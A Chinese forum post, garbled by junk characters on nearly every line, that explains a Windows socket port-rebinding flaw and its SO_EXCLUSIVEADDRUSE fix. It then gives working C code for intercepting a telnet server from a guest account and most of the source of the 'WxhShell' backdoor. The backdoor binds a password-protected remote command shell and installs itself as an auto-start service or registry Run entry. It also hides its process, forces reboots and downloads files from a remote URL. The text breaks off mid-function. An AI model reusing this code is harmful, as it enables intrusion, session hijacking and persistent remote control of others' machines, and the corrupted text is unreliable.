在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2QbKh) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_0rt.NRD oCOv
6( saddr.sin_family = AF_INET;
[>?|wQy >= p1niS:}j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
G`%rnu N\ Mdia bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mv:@ D c!6v-2ykv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V=+|]` q!0HsF 这意味着什么?意味着可以进行如下的攻击:
L@[}sMdq( N*Q*>q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!%t@wQ]\hG :!Q(v(M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lH_pG ~ GOdWc9Ta! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z. hq2v #pAN
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!1R?3rVQS 1N $OXLu 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wS|k3^OV% (G+)v[f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j7g>r/1eE J)Yz@0#T(; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?H_@/? b)Nd}6}<? #include
[^a7l$fmi #include
63\
CE_p #include
3:WHC3}W #include
zwQ#Yvd DWORD WINAPI ClientThread(LPVOID lpParam);
r\fkx> int main()
qm_r~j {
*N
~'0"# WORD wVersionRequested;
3<)][<Ud DWORD ret;
3%9XJ]Qao WSADATA wsaData;
ImB5F'HI$ BOOL val;
e`LvHU_0 SOCKADDR_IN saddr;
E]vox~xK> SOCKADDR_IN scaddr;
7R5ebMW
V int err;
e9'0CH< SOCKET s;
)xU+M{p-os SOCKET sc;
3dZj<(. int caddsize;
EY !o#m HANDLE mt;
'tMD=MH DWORD tid;
L^CB#5uG wVersionRequested = MAKEWORD( 2, 2 );
//r)dN^ err = WSAStartup( wVersionRequested, &wsaData );
W+GBSl if ( err != 0 ) {
zI^:{]p printf("error!WSAStartup failed!\n");
>u0XV "g$ return -1;
er
BerbEEH }
'HV@i)h0%V saddr.sin_family = AF_INET;
4!ZT_q =s.0 f:( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PVxu8n EUrIh2 .Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
w?*79 u saddr.sin_port = htons(23);
Jc]k\U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/ioBc}] {
>*B59+1P printf("error!socket failed!\n");
nRX'J5Q
m< return -1;
^XYK
}J }
TntTR"6aD val = TRUE;
<7Yh<(R e^ //SO_REUSEADDR选项就是可以实现端口重绑定的
VS`{k^^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
I%Z=O= {
3 TV4|&W; printf("error!setsockopt failed!\n");
inq
{" 6 return -1;
@Wm:Rz }
+o,f:Ih //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-#4QY70H t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)3|a_
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
iM1E**WCtv D^s#pOZS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w4Hq|N1-Y {
b
ettOg ret=GetLastError();
[ gR,nJH. printf("error!bind failed!\n");
3;uLBuZOCN return -1;
XN\rq= }
g#1Y4 listen(s,2);
T~XKV`LQ while(1)
e6 <9`Xg {
F]N?_ bo caddsize = sizeof(scaddr);
;>5]KNj
//接受连接请求
W"t^t|H'~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\j.l1O if(sc!=INVALID_SOCKET)
psiuoYf {
sUiO~<Ozpk mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CZy3]O"qW if(mt==NULL)
<wd;W;B {
96; gzG@1! printf("Thread Creat Failed!\n");
/#t::b+>x break;
MU '- }
j]- _kjt }
<4zSh3 CloseHandle(mt);
sC2NFb-+& }
9`^(M^|c closesocket(s);
L0{[L WSACleanup();
xjAU
Csq return 0;
z/WGL }
[P }mDX DWORD WINAPI ClientThread(LPVOID lpParam)
2o1WXE %$ {
7GErh, SOCKET ss = (SOCKET)lpParam;
$n47DW& SOCKET sc;
1TGE>HG unsigned char buf[4096];
yVK l%GO SOCKADDR_IN saddr;
'X4)2iFV long num;
AG;KXL[V DWORD val;
G-:7,9 DWORD ret;
H,7!"!?@N //如果是隐藏端口应用的话,可以在此处加一些判断
r%$\Na'' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P)Oe?z;G? saddr.sin_family = AF_INET;
v:w^$]4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
kaIns saddr.sin_port = htons(23);
5'`DrTOA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>r}?v3QW {
B*tQ0` printf("error!socket failed!\n");
{utnbtmu return -1;
XJwgh y?( }
'*@=SM val = 100;
@`^Z5n.4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2#/sIu-L {
,C_MB1u ret = GetLastError();
-r~9'aEs return -1;
9q[[
,R
}
V pY,@qh if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[T/S/@IT {
"&;X/~j ret = GetLastError();
?=-/5A4K return -1;
![]6| G& }
C}L2'l, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
i3$G)W {
e(&u3 #7Nn printf("error!socket connect failed!\n");
vkG%w; closesocket(sc);
\TDn q!)? closesocket(ss);
g]BA/Dw return -1;
Y$./!lVY }
\.P#QVuQ while(1)
#i.BOQxS {
rH\oFCzC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
IEkbVIA( //如果是嗅探内容的话,可以再此处进行内容分析和记录
\-[ >bsg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j|p=JrCJ num = recv(ss,buf,4096,0);
-?IF'5z if(num>0)
^6Yt2Bhs send(sc,buf,num,0);
m<*+^JN else if(num==0)
+<B"g{dLuX break;
q$ j num = recv(sc,buf,4096,0);
iHQ$L# 7 if(num>0)
]ZI@?H?
O send(ss,buf,num,0);
<1_3`t else if(num==0)
j*GS')Cm break;
g2u\gR5 }
?Ho> closesocket(ss);
+-5YmN' closesocket(sc);
C?<-`$0 return 0 ;
Z,~@_;F }
e9QjRx QXy=| 7lwFxP5QT ==========================================================
Bcb
'4*: t23W=U 下边附上一个代码,,WXhSHELL
RfCu5Kn ==========================================================
? 5OK4cR sEL0h4 #include "stdafx.h"
|BD2=7,z TDy$Mv=y #include <stdio.h>
axN\ZXU #include <string.h>
$) qL=kR #include <windows.h>
;U y}( #include <winsock2.h>
N!-P2) @ #include <winsvc.h>
~Ra8(KocD #include <urlmon.h>
r{Mn{1:O D$TpT
X\ #pragma comment (lib, "Ws2_32.lib")
(eHTXk*V` #pragma comment (lib, "urlmon.lib")
B9c
gVTLj T;S6<J #define MAX_USER 100 // 最大客户端连接数
rA8{Q.L #define BUF_SOCK 200 // sock buffer
.}(X19R #define KEY_BUFF 255 // 输入 buffer
PZ?kv 4 kcMg`pJ4< #define REBOOT 0 // 重启
`9\^.g) #define SHUTDOWN 1 // 关机
KYz@H#M 0c,!<\B #define DEF_PORT 5000 // 监听端口
s={IKU&m[ 8{6`?qst@ #define REG_LEN 16 // 注册表键长度
79h'sp6; #define SVC_LEN 80 // NT服务名长度
W"A3$/nq^ qT#NS&T!- // 从dll定义API
6k{gI.SG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>Y|P+Z\7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nXjSf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ie s` !W^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
DH4IF i> OE _V6Er // wxhshell配置信息
>?ec"P%vS/ struct WSCFG {
\pP1k.~UnC int ws_port; // 监听端口
nu2m5RYx char ws_passstr[REG_LEN]; // 口令
R+.kwq3CED int ws_autoins; // 安装标记, 1=yes 0=no
NR%_&%qQA char ws_regname[REG_LEN]; // 注册表键名
,zZ@QW5 char ws_svcname[REG_LEN]; // 服务名
;w._/ char ws_svcdisp[SVC_LEN]; // 服务显示名
OgHqF,0MN char ws_svcdesc[SVC_LEN]; // 服务描述信息
8~|v:qk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J]Rh+@r. int ws_downexe; // 下载执行标记, 1=yes 0=no
xokA_3,1F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*V[I&dKq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6
tB\X^ b%d, X-3 };
JcfGe4 O]@s`w // default Wxhshell configuration
4RH>i+)pS\ struct WSCFG wscfg={DEF_PORT,
3/]~#y%2 "xuhuanlingzhe",
v`p@djM 1,
]]y,FQ,r "Wxhshell",
9`KFJx6D "Wxhshell",
S9'Xsh "WxhShell Service",
2~vvE "Wrsky Windows CmdShell Service",
D'^UZZlI^I "Please Input Your Password: ",
{]dvzoE] 1,
su\`E&0V+ "
http://www.wrsky.com/wxhshell.exe",
$)KNp dXh "Wxhshell.exe"
$
% B };
k"m+i Mq#Hi9SKY // 消息定义模块
7 ;2>kgf~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gtqtFrleG char *msg_ws_prompt="\n\r? for help\n\r#>";
,?+uQXfXR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H wz$zF+R char *msg_ws_ext="\n\rExit.";
5@pLGMHT char *msg_ws_end="\n\rQuit.";
5'<mfY'B char *msg_ws_boot="\n\rReboot...";
@xk ;]H80 char *msg_ws_poff="\n\rShutdown...";
*)vy%\ char *msg_ws_down="\n\rSave to ";
6uX,J(V, =F5zU5`i char *msg_ws_err="\n\rErr!";
V6k Dyl( char *msg_ws_ok="\n\rOK!";
nHU}OGzW ?JW/Stua char ExeFile[MAX_PATH];
<q&i"[^M int nUser = 0;
\XfLTv HANDLE handles[MAX_USER];
Ht@5@(W]I int OsIsNt;
[@]i_L[ *?>52 -&b SERVICE_STATUS serviceStatus;
Kk|)N3AV: SERVICE_STATUS_HANDLE hServiceStatusHandle;
zz8NBO (UTA3Db // 函数声明
/J(~NGT int Install(void);
}Nma %6PfV int Uninstall(void);
- rI4_Dl int DownloadFile(char *sURL, SOCKET wsh);
42:,*4t( int Boot(int flag);
|3hNTH? void HideProc(void);
w{4#Q[ int GetOsVer(void);
~NO7@muw int Wxhshell(SOCKET wsl);
ME.!l6lm\ void TalkWithClient(void *cs);
g!z &lQnZ int CmdShell(SOCKET sock);
E
0@u| int StartFromService(void);
Sw>,Q-32 int StartWxhshell(LPSTR lpCmdLine);
=4OV
}z=I cE?p~fq< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e+?;Dc-SJ\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
D8{f7{nY jHV)
TBr // 数据结构和表定义
R~;8v1>K SERVICE_TABLE_ENTRY DispatchTable[] =
NS "1zR+ {
`trcYmR=k {wscfg.ws_svcname, NTServiceMain},
.}E@7^X {NULL, NULL}
:!FGvR6 };
s%A?B8, =dp`4N // 自我安装
V|/N-3M int Install(void)
db>"2EE {
U}l=1B char svExeFile[MAX_PATH];
E/gfX
HKEY key;
zXkq2\GHA strcpy(svExeFile,ExeFile);
J?1Eh14KZ rmdg~ // 如果是win9x系统,修改注册表设为自启动
(%9J(4 if(!OsIsNt) {
^KV:.up6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1k{H,p7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u_b6u@r7 RegCloseKey(key);
|lyspD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"
^!=e72 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%UG|R: RegCloseKey(key);
G{zxP%[E return 0;
X<f4X"y }
VmZDU(M }
lQ4$d{m` }
'vKae else {
t&IWKu# >A}ra ^gU // 如果是NT以上系统,安装为系统服务
3w/z$bj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m&[(xVM if (schSCManager!=0)
f*^bV_ {
xFA`sAucr SC_HANDLE schService = CreateService
wp@6RJ (
Zj0h0Vt schSCManager,
+^.xLTX`$ wscfg.ws_svcname,
4z^~,7J^ wscfg.ws_svcdisp,
Ij9=J1c4 SERVICE_ALL_ACCESS,
iL~(BnsF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
BU|m{YZ$ SERVICE_AUTO_START,
GbvbGEG SERVICE_ERROR_NORMAL,
d-gcXaA-8 svExeFile,
7}(YCZny5 NULL,
nd5.Py$ NULL,
!"ydl2 NULL,
AR
g]GV/L NULL,
]puDqu5! NULL
zY].ZS=7 );
bKh}Y` if (schService!=0)
C\ 34R {
_J,*0~O$ CloseServiceHandle(schService);
T
^/\Rr CloseServiceHandle(schSCManager);
KSUhB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%mOQIXr1s strcat(svExeFile,wscfg.ws_svcname);
_9S"rH[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A^4#6],%v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w!}kcn< RegCloseKey(key);
4UN|`'c return 0;
uTy00`1 }
d-I=xpB }
+Edq4QYwR CloseServiceHandle(schSCManager);
.EjjCE/v- }
\^lDd~MWG }
0bu!(Tpg7 HLqDI lL return 1;
eXkpU7w; }
:2~2j-m +;q`A1 // 自我卸载
Jb)xzUhES int Uninstall(void)
oF s)UR {
k~JTQh*,w HKEY key;
w=~X 6[+3 b>' c
if(!OsIsNt) {
V\AF%=6} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g c<Y?a- RegDeleteValue(key,wscfg.ws_regname);
O44Fj) RegCloseKey(key);
SOS|3q_` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zGP@!R`_ RegDeleteValue(key,wscfg.ws_regname);
~^o YPd52* RegCloseKey(key);
$7p0<<Nck return 0;
]'z 5%' }
IYhn* }
R!>SN0 }
"_\77cqpTh else {
$;)A:*e LXRIo2ynuw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PE6ZzxR|U< if (schSCManager!=0)
)\{]4[9N {
NHhKEx0Gtu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[MeFj!( if (schService!=0)
z/pxZB~" {
A!a.,{fZ if(DeleteService(schService)!=0) {
IkQ,#Bsb[ CloseServiceHandle(schService);
'.I0n CloseServiceHandle(schSCManager);
+rKV*XX@ return 0;
W}WDj: }
35fj-J$8 CloseServiceHandle(schService);
> v4+@o[~ }
I8\R7s3 CloseServiceHandle(schSCManager);
mS+sh'VH }
mwF{z.t" }
H)X&5E 7<LCX{Uw return 1;
4^ZbT }
u_Xp\RJ zTw<9 Nf // 从指定url下载文件
h<g2aL21?F int DownloadFile(char *sURL, SOCKET wsh)
w[u>*I {
|zy` ]p9 HRESULT hr;
H4W!@"e char seps[]= "/";
TjjR% 3 char *token;
Pt/F$A{Cj char *file;
e8k|%m<Sp char myURL[MAX_PATH];
Yd<9Y\W%? char myFILE[MAX_PATH];
wjHH%y zuJ@@\75 strcpy(myURL,sURL);
tSVS ogGd token=strtok(myURL,seps);
L$@qEsO while(token!=NULL)
K!v\r"N {
, Q ) file=token;
4@M`BH` token=strtok(NULL,seps);
4G j }
2F/oWt|w? )eH?3"" GetCurrentDirectory(MAX_PATH,myFILE);
]ts^h~BZ$ strcat(myFILE, "\\");
`KieN/d% strcat(myFILE, file);
oW6b3Q/B send(wsh,myFILE,strlen(myFILE),0);
Xc<Hm send(wsh,"...",3,0);
&pHXSU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
IB^vEY!`6_ if(hr==S_OK)
K}p0$Lc return 0;
EfX,0Nq T else
ksyQ_4^SO return 1;
O]t)`+%q "7w=LhzV[$ }
tYx>?~ !j9(%,PR // 系统电源模块
&jh17y int Boot(int flag)
6Z;D`X,5 {
!y3XIbdS" HANDLE hToken;
dlwOmO'Bm) TOKEN_PRIVILEGES tkp;
;7(vqm<V2~ ,E2c9V' if(OsIsNt) {
&Zo+F]3d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]G,BSttD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|A2o$H tkp.PrivilegeCount = 1;
'K|F{K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N"zl7 .E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
U}GO* + if(flag==REBOOT) {
Li\b,_C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)00jRuF return 0;
,W>-MPJn[8 }
nE4rB\ else {
pAyUQe;X# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f2k~(@!h return 0;
e/$M6l$Q*4 }
J!yK/*sO, }
8Y;2.Z`Rz else {
F`.W 9H3 if(flag==REBOOT) {
Sy^@v%P'A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q'%!qa+ return 0;
n`p/;D=? }
_$KkSMA~_ else {
X @X`,/{X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Iz&<rL;s return 0;
q0@b d2} }
'r}y{`3M }
r(g2&}o\ #/)U0IR) return 1;
R_#k^P^ }
+xNq8yS E/_n}$Z // win9x进程隐藏模块
`-5gsJ
void HideProc(void)
aQV? } {
/L` + .xtam 8@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_FN#Vq2 if ( hKernel != NULL )
cgR8+o {
th+LScOX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i$H9~tPs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`(~oZbErM FreeLibrary(hKernel);
S*H
@`Do%d }
@y,>cDg .<6'*XR return;
Tlk!6A: }
2D"aAI<P B8zc#0!1 // 获取操作系统版本
\Lm`jU(:l int GetOsVer(void)
hdYd2
j {
qG#ZYcVec OSVERSIONINFO winfo;
yRt7&,}zL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Lo}zT-F GetVersionEx(&winfo);
n^/)T3mz{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Y\E7nll:. return 1;
l2kUa'O- else
}zrapL"9X return 0;
ubl)$jZ:Q }
2FEi-m} 24
RD // 客户端句柄模块
(.kzJ\x int Wxhshell(SOCKET wsl)
i.e4<|{ {
_[N*k" SOCKET wsh;
%t]{C06w+{ struct sockaddr_in client;
j-t" DWORD myID;
S4
s#EDs Sea6xGdq while(nUser<MAX_USER)
BxB B]( {
d/\ajQ1:: int nSize=sizeof(client);
0*6Q8`I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5`q#~fJ2 if(wsh==INVALID_SOCKET) return 1;
RJdijj ]aYuBoj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)oZ2,]us! if(handles[nUser]==0)
i>(TPj| closesocket(wsh);
?)7UqVyq else
u"DE? nUser++;
vZXdc+2l }
d1 lxz?r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;dTxQ_: 0KjCM4t return 0;
}l_8~/9 }
CaV)F3 ow#8oUf= // 关闭 socket
z<8VJZd void CloseIt(SOCKET wsh)
T/jxsIt3 {
x|g2H.n closesocket(wsh);
qpq(< nUser--;
j? Vs"d| ExitThread(0);
o 80x@ &A: }
=)J<R; 6Ia[`xuL // 客户端请求句柄
$ SZIJe"K void TalkWithClient(void *cs)
w7f)v\p {
*T:jR rVp^s/A^; SOCKET wsh=(SOCKET)cs;
:c(#03w*C char pwd[SVC_LEN];
!wKiMgLS char cmd[KEY_BUFF];
lHE+o;- char chr[1];
6rlvSdB int i,j;
<]*Jhnx/ %Lq}5zB while (nUser < MAX_USER) {
"e/"$z'ca M%s!qC+ if(wscfg.ws_passstr) {
e1hf{:&/G@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L+0:'p= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;Hb"SB //ZeroMemory(pwd,KEY_BUFF);
{*nE8+..A i=0;
YB(8 T" while(i<SVC_LEN) {
^MVOaV65 S`vw<u4t // 设置超时
OXZx!h fd_set FdRead;
Hio+k^ struct timeval TimeOut;
@.pr}S/ FD_ZERO(&FdRead);
&LQfs4}a, FD_SET(wsh,&FdRead);
&iT^IkA{ TimeOut.tv_sec=8;
_B\87e TimeOut.tv_usec=0;
JY_!G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v+CW([zAx# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GqgJ ]m pE$*[IvQ' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]NKz5[9D pwd
=chr[0]; {'#7b# DB>
if(chr[0]==0xd || chr[0]==0xa) { epcvwM/A
pwd=0; ac8su0
break; _,w*Rv5=
} 4}]In/yA
i++; ,/[1hhP@
} Me^L%%:@
)2r_EO@3HP
// 如果是非法用户,关闭 socket ZL9|/
PY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eGo$F2C6E
} zoj
w^%W
'Y/8gD~.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T%**:@}+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dc] J3r
x( rl|o
while(1) { fm Fs
NSQ)lSW,;
ZeroMemory(cmd,KEY_BUFF); f1U:_V^d
(>dL
// 自动支持客户端 telnet标准 q\Z9.T+Qo
j=0; N]G`]
while(j<KEY_BUFF) { B*fBb.Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vQ[ TcV
cmd[j]=chr[0]; d/E0opv
if(chr[0]==0xa || chr[0]==0xd) { c43&[xPLz
cmd[j]=0; 8,:lw3x1
break; &pAmFe
} F^Mt}`O
j++; Q|Nw @7$`
} yRz l}
s$/Z+"f(
// 下载文件 Vtk}>I@%
if(strstr(cmd,"http://")) { ]jV1/vJ-!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bc}e ??F
if(DownloadFile(cmd,wsh)) MA v-#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T"E%;'(cp)
else ?q"9ZYX<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EtDzmpJR>
} &>XSQB(&%
else { Qa1G0qMEIF
kFi=^#J{
switch(cmd[0]) { D*8oFJub
5WI0[7
// 帮助 "-G&]YMl
case '?': { K Z0%J5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wVUm!Y
break; 8HdjZ!
} S#|5&SR
// 安装 -J++b2R\%
case 'i': { 9>d~g!u=
if(Install()) r
D|Bj(X8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u~27\oj,
else Fw6x
(j"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *w1R>
break; E D_J8+
} `R:HMO[ow
// 卸载 #:nds,
case 'r': { {^Q1b.=
if(Uninstall()) Yd<q4VJR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:|D[1m
else L%4Do*V&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PL*kjrLu7
break; (M,*R
v
} K<"Y4O#]
// 显示 wxhshell 所在路径 ~)!vhdBe
case 'p': { m H&WoL<K
char svExeFile[MAX_PATH]; t8S,C4
strcpy(svExeFile,"\n\r"); Ga$EM
strcat(svExeFile,ExeFile); M"z3F!-j
send(wsh,svExeFile,strlen(svExeFile),0); fngk<$lvg
break; UC?i>HsJrX
} QCvst*
// 重启 {i:Ayhq~&
case 'b': { Rm=[Sj84
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SWMi+)
if(Boot(REBOOT)) %hb!1I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #jX%nqMxW
else { WJw
%[_W
closesocket(wsh); X:gE
mcXc
ExitThread(0); #Pq.^ ^
} OEj%cB!
break; REKv&^FLN
} u[1'Ap
// 关机 x-ZCaa}O
case 'd': { di#:KW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~bSjZ1`
if(Boot(SHUTDOWN)) Ed&M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wZBWTj.
else { :X~{,J
closesocket(wsh); ;PG,0R`Z;
ExitThread(0); u7ER
} NW@guhK.
break; $61*X f+*
} (= ,w$
// 获取shell >&2n\HR\
case 's': { gjhWoZV
CmdShell(wsh); p+d?k"WN?
closesocket(wsh); :ODG]-QF
ExitThread(0); A;#GU`
break; L#NW<T
} 5_ioJ
// 退出 vaUUesytt
case 'x': { %y}l^P5z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,mW-O!$3W
CloseIt(wsh); ~V<62"G
break; m;"dLUb
} YkbZ 2J*-
// 离开 !aub@wH3
case 'q': { G u P1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a#:K"Mf.
closesocket(wsh); h$eVhN&Vv
WSACleanup();
dJwE/s
exit(1); J`x!c9 zg7
break; b(.,Ex]
} G Za<
} U:o(%dk
} A('_.J=
Mee+bp
// 提示信息 *wetPt)~v_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =jN9PzLk
} Swg%[r=p=
} IHlTp0?
S;FgS:;
return; '
;PHuMY#X
} ?h4Rh0rkX
zL,B?
// shell模块句柄 XKq}^M&gy
int CmdShell(SOCKET sock) !Cv:,q
{ '-[~I>o%
STARTUPINFO si; jsrIZbN
ZeroMemory(&si,sizeof(si)); K9(Su`zr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5*W<6ia
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o1(?j}:c|
PROCESS_INFORMATION ProcessInfo; ayvHS&h
char cmdline[]="cmd"; Rg?m$$X`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #^ cmh
return 0; zU1[+JJY"{
} CnA0^JX
eQvdi|6
// 自身启动模式 D7"RZF\)
int StartFromService(void) Yuo
{ s,|s;w*.
typedef struct vtS[Tkk|A
{ R%Y#vUmBV{
DWORD ExitStatus; *?GV(/Q
DWORD PebBaseAddress; _(Qec?[^Ps
DWORD AffinityMask; oI6l `K$
